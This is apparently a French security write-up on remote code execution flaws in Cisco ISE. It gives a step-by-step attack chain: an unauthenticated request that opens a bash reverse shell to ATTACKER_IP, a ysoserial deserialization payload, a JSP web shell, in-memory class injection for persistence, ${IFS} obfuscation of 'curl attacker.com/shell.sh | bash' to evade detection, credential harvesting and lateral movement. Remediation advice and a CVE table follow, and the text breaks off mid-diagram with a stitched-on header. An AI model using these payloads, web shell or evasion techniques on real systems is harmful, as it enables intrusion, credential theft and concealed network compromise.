
Analyse technique approfondie des vulnérabilités RCE de Cisco ISE, incluant les techniques d'exploitation, les méthodes d'évasion et les stratégies de remédiation pour les chercheurs en sécurité et les testeurs d'intrusion.
Les vulnérabilités d'Exécution de Code à Distance (RCE) dans Cisco Identity Services Engine (ISE) représentent un point de rupture critique dans la sécurité périmétrique d'entreprise. Pour un chercheur en sécurité d'élite, ISE n'est pas simplement un composant d'authentification : c'est la clé maîtresse qui contrôle l'accès à toute l'infrastructure réseau.
Risque Critique : Un attaquant non authentifié peut obtenir un contrôle total du système en moins de 5 minutes, sans laisser de traces détectables dans les systèmes de surveillance traditionnels.
┌─────────────────────────────────────────────────────────┐
│ CISCO ISE - ARCHITECTURE NAC EXPOSÉE │
├─────────────────────────────────────────────────────────┤
│ │
│ [Internet] ──→ [Firewall] ──→ [Port de Gestion ISE] │
│ ↓ │
│ [API Non Authentifiées] │
│ ↓ │
│ [Couche de Désérialisation Java] │
│ ↓ │
│ [Conteneur Web Tomcat] │
│ ↓ │
│ [Exécution de Commandes OS] │
│ ↓ │
│ [Compromission Complète du Réseau] │
│ │
└─────────────────────────────────────────────────────────┘
Constat Critique : L'API /deployment-rpc/ ne valide pas les jetons de session dans les premières lignes de traitement, permettant un bypass complet de l'authentification.
Phase 1 : Reconnaissance
# Scan des ports et services
nmap -sV -p 8443,8080 <ISE_IP>
# Énumération des endpoints RPC
curl -s https://<ISE_IP>:8443/deployment-rpc/ | grep -i "method"
Phase 2 : Exploitation Directe
POST /deployment-rpc/enableStrongSwanTunnel HTTP/1.1
Host: <ISE_IP>:8443
Content-Type: application/json
Content-Length: 287
{
"tunnelName": "admin",
"tunnelType": "IPSec",
"presharedKey": "test",
"remoteGateway": "127.0.0.1",
"localSubnet": "0.0.0.0/0",
"remoteSubnet": "0.0.0.0/0",
"advancedConfig": "'; bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1; echo '"
}
Résultat : Exécution de commande arbitraire avec les privilèges de root (l'utilisateur Tomcat s'exécute en tant que root dans les configurations par défaut).
[Payload Sérialisé] ──→ [Endpoint API] ──→ [ObjectInputStream.readObject()]
↓
[Exécution de la Gadget Chain]
↓
[Runtime.exec() invoqué]
Payload PoC (avec ysoserial) :
# Génération de la gadget chain malveillante
java -jar ysoserial.jar CommonsCollections6 \
'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"' | \
base64 -w 0 > payload.b64
# Envoi du payload
curl -X POST https://<ISE_IP>:8443/admin/rest/api/v1/system/config \
-H "Content-Type: application/octet-stream" \
--data-binary @payload.b64
Impact : Élévation de privilèges depuis un compte "Lecture Seule" jusqu'à root.
[Web Shell] ──→ [/api/v1/config/upload] ──→ [/opt/CSCOlumos/uploads/]
↓
[Tomcat traite le fichier JSP]
↓
[Exécution avec privilèges root]
Exemple de Web Shell Malveillant :
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
if (cmd != null) {
Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", cmd});
BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line;
while ((line = br.readLine()) != null) {
out.println(line + "<br>");
}
}
%>
Accès ultérieur :
https://<ISE_IP>:8443/opt/CSCOlumos/uploads/shell.jsp?cmd=id
Un hacker d'élite ne laisse jamais de fichiers sur le disque. L'injection en mémoire est la technique de persistance invisible :
// Injection dans le ClassLoader Tomcat
ClassLoader loader = Thread.currentThread().getContextClassLoader();
byte[] classBytes = generateMaliciousClass();
Method defineClass = ClassLoader.class.getDeclaredMethod(
"defineClass",
String.class, byte[].class, int.class, int.class
);
defineClass.setAccessible(true);
defineClass.invoke(loader, "EvilClass", classBytes, 0, classBytes.length);
Avantage : Les scans de fichiers traditionnels (OSSEC, Tripwire) ne détectent rien.
${IFS}# Commande originale (détectable)
curl http://attacker.com/shell.sh | bash
# Commande obfusquée (évasion IDS)
c${IFS}url${IFS}http://attacker.com/shell.sh${IFS}|${IFS}bash
# Variante avec indirection de variable
${PATH:0:1}b${PATH:0:1}n${PATH:0:1}bash${IFS}-c${IFS}'commande_malveillante'
Pourquoi cela fonctionne : Les systèmes de détection recherchent des modèles de mots-clés (curl, bash, |). L'utilisation de ${IFS} (Internal Field Separator) divise les mots sans changer leur signification dans bash.
# ❌ DÉTECTABLE - Fichiers dans /etc/cron.d/
echo "* * * * * root /tmp/malware.sh" > /etc/cron.d/evil
# ✅ INVISIBLE - Injection dans le processus Tomcat
# 1. Créer un listener netcat en mémoire
# 2. Injecter un thread dans la JVM qui maintient une connexion persistante
# 3. Pas de fichiers, pas de processus orphelins visibles
┌──────────────────────────────────────────────────────────────────┐
│ ARCHITECTURE ZERO TRUST ORIGINALE │
├──────────────────────────────────────────────────────────────────┤
│ │
│ [Utilisateur] ──→ [Authentification ISE] ──→ [Contrôle Posture] │
│ ↓ │
│ [Politique de Micro-segmentation]│
│ ↓ │
│ [Accès Limité aux Ressources] │
│ │
└──────────────────────────────────────────────────────────────────┘
⬇️ APRÈS LE COMPROMIS ISE ⬇️
┌──────────────────────────────────────────────────────────────────┐
│ ARCHITECTURE COMPROMISE │
├──────────────────────────────────────────────────────────────────┤
│ │
│ [Attaquant] ──→ [ISE Contrôlé] ──→ [Politiques Modifiées] │
│ ↓ │
│ [Micro-segmentation DÉSACTIVÉE] │
│ ↓ │
│ [Mouvement Latéral Total dans le Réseau] │
│ ↓ │
│ [Accès aux Bases de Données, Serveurs, IoT] │
│ │
└──────────────────────────────────────────────────────────────────┘
Phase 1 : Reconnaissance Interne
# Depuis ISE compromis, énumérer le réseau
nmap -sV -p 22,3306,5432,1433 10.0.0.0/8 --script smb-enum-shares
# Extraire les identifiants stockés dans ISE
grep -r "password" /opt/CSCOlumos/config/ | grep -v "^#"
Phase 2 : Injection de Politiques Malveillantes
Modification de Politique ISE :
├─ Créer un utilisateur administratif caché
├─ Modifier les règles de segmentation
├─ Autoriser le trafic non autorisé entre VLAN
└─ Rediriger le trafic DNS vers un serveur contrôlé
Phase 3 : Persistance et Exfiltration
Données Exfiltrées :
├─ Identifiants de tous les utilisateurs authentifiés
├─ Configuration des politiques réseau
├─ Journaux d'accès (pour effacer les traces)
├─ Certificats SSL/TLS internes
└─ Informations sur les appareils IoT et serveurs
# Vérifier la version actuelle
ssh admin@<ISE_IP>
show version
# Versions vulnérables :
# - ISE 3.0.x à 3.2.x (TOUTES)
# - ISE 3.3.0 à 3.3.6
# - ISE 3.4.0 à 3.4.1
# Versions sécurisées :
# - ISE 3.3 Patch 7 ou supérieure
# - ISE 3.4 Patch 2 ou supérieure
# - ISE 3.5 (lorsqu'elle sera disponible)
# Procédure de mise à jour
admin# copy https://<PATCH_SERVER>/ise-3.3.7-patch.tar admin:password
admin# software install ise-3.3.7-patch.tar
admin# reload
! Sur le switch d'accès (avant ISE)
interface GigabitEthernet0/1
description ISE-Management
switchport mode access
switchport access vlan 999
spanning-tree portfast
no shutdown
! VLAN de gestion dédiée (VRF)
ip vrf MGMT
description Management VRF - Isolated
interface Vlan999
ip vrf forwarding MGMT
ip address 10.255.255.1 255.255.255.0
! ACL restrictive pour ISE
ip access-list extended ISE-MGMT-ONLY
permit tcp 10.1.1.0 0.0.0.255 10.255.255.0 0.0.0.255 eq 8443
permit tcp 10.1.1.0 0.0.0.255 10.255.255.0 0.0.0.255 eq 8080
deny ip any any log
! Appliquer l'ACL
interface GigabitEthernet0/1
ip access-group ISE-MGMT-ONLY in
# SSH vers ISE
ssh admin@<ISE_IP>
# Accéder à la configuration Tomcat
config t
system
tomcat
disable-rpc-endpoints yes
disable-file-upload yes
exit
exit
# Redémarrer Tomcat
admin# application stop ise
admin# application start ise
┌─────────────────────────────────────────────────────────┐
│ ARCHITECTURE ISE HARDENED (ZERO TRUST) │
├─────────────────────────────────────
**🚨 RAPPORT DE SÉCURITÉ : RCE dans Cisco ISE**
## Perspective Red Team vs Blue Team
> **⚠️ AVERTISSEMENT :** Ce document est destiné à la recherche en sécurité légitime, aux tests d'intrusion autorisés et à la remédiation défensive. Toute exploitation sans autorisation est illégale.
| CVE | Endpoint | Méthode | Authentification | Sévérité |
|---|
| CVE-2025-20281 | /deployment-rpc/enableStrongSwanTunnel | POST | ❌ Aucune | CRITIQUE |
| CVE-2025-20282 | /api/v1/config/upload | POST | ⚠️ Faible | CRITIQUE |
| CVE-2025-20124 | /admin/rest/api/v1/system/config | GET/POST | ⚠️ Bypass possible | CRITIQUE |